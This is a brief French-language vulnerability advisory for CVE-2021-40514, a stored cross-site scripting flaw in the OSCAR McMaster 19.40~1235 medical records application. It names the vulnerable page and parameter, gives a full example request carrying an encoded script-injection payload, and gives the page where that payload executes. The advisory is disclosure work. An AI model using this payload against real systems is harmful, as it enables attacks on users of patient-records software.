
CVE-2021-40514 OSCAR McMaster 19.40~1235 Vulnérabilité de script intersite stocké.
Une vulnérabilité de script intersite stocké existe dans plusieurs pages de la version 19.40~1235 de l'application OSCAR McMaster, permettant l'exécution arbitraire de commandes JavaScript.
Espace réservé pour CVE mitre
Pages JSP vulnérables :
providercontrol.jsp - paramètre mygroupno
Exemple de charge utile vulnérable :
/oscar/provider/providercontrol.jsp?provider_no=999998&start_hour=8&end_hour=18&every_min=15&color_template=deepblue&dboperation=updatepreference&displaymode=updatepreference&default_servicetype=&prescriptionQrCodes=false&erx_enable=false&erx_training_mode=false&mygroup_no=%22%3E%3Cscript%3Ealert(document.domain)%3C%2fscript%3E&programId_oscarView=0
La réponse stockée est exécutée contre l'utilisateur dans le lien suivant :
/oscar/provider/providercontrol.jsp?year=2021&month=8&day=1&view=0&displaymode=month&dboperation=searchappointmentmonth
Découvert par Jack McBride, août 2021.